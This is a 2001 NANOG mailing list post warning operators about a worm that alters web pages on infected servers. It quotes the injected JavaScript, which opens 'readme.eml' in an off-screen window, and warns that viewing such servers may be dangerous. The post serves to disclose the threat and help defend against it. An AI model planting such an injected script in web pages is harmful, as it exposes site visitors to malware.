Worm probes

Mark Radabaugh - Amplex mark at amplex.net
Tue Sep 18 15:48:55 UTC 2001



This is new - it modifies the web pages of the infected machine to
include a (I assume) virus.  It adds this string to the web page:

<html><script language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script></html>

Viewing infected web servers may be dangerous.

Mark Radabaugh
Amplex
(419) 833-3635





More information about the NANOG mailing list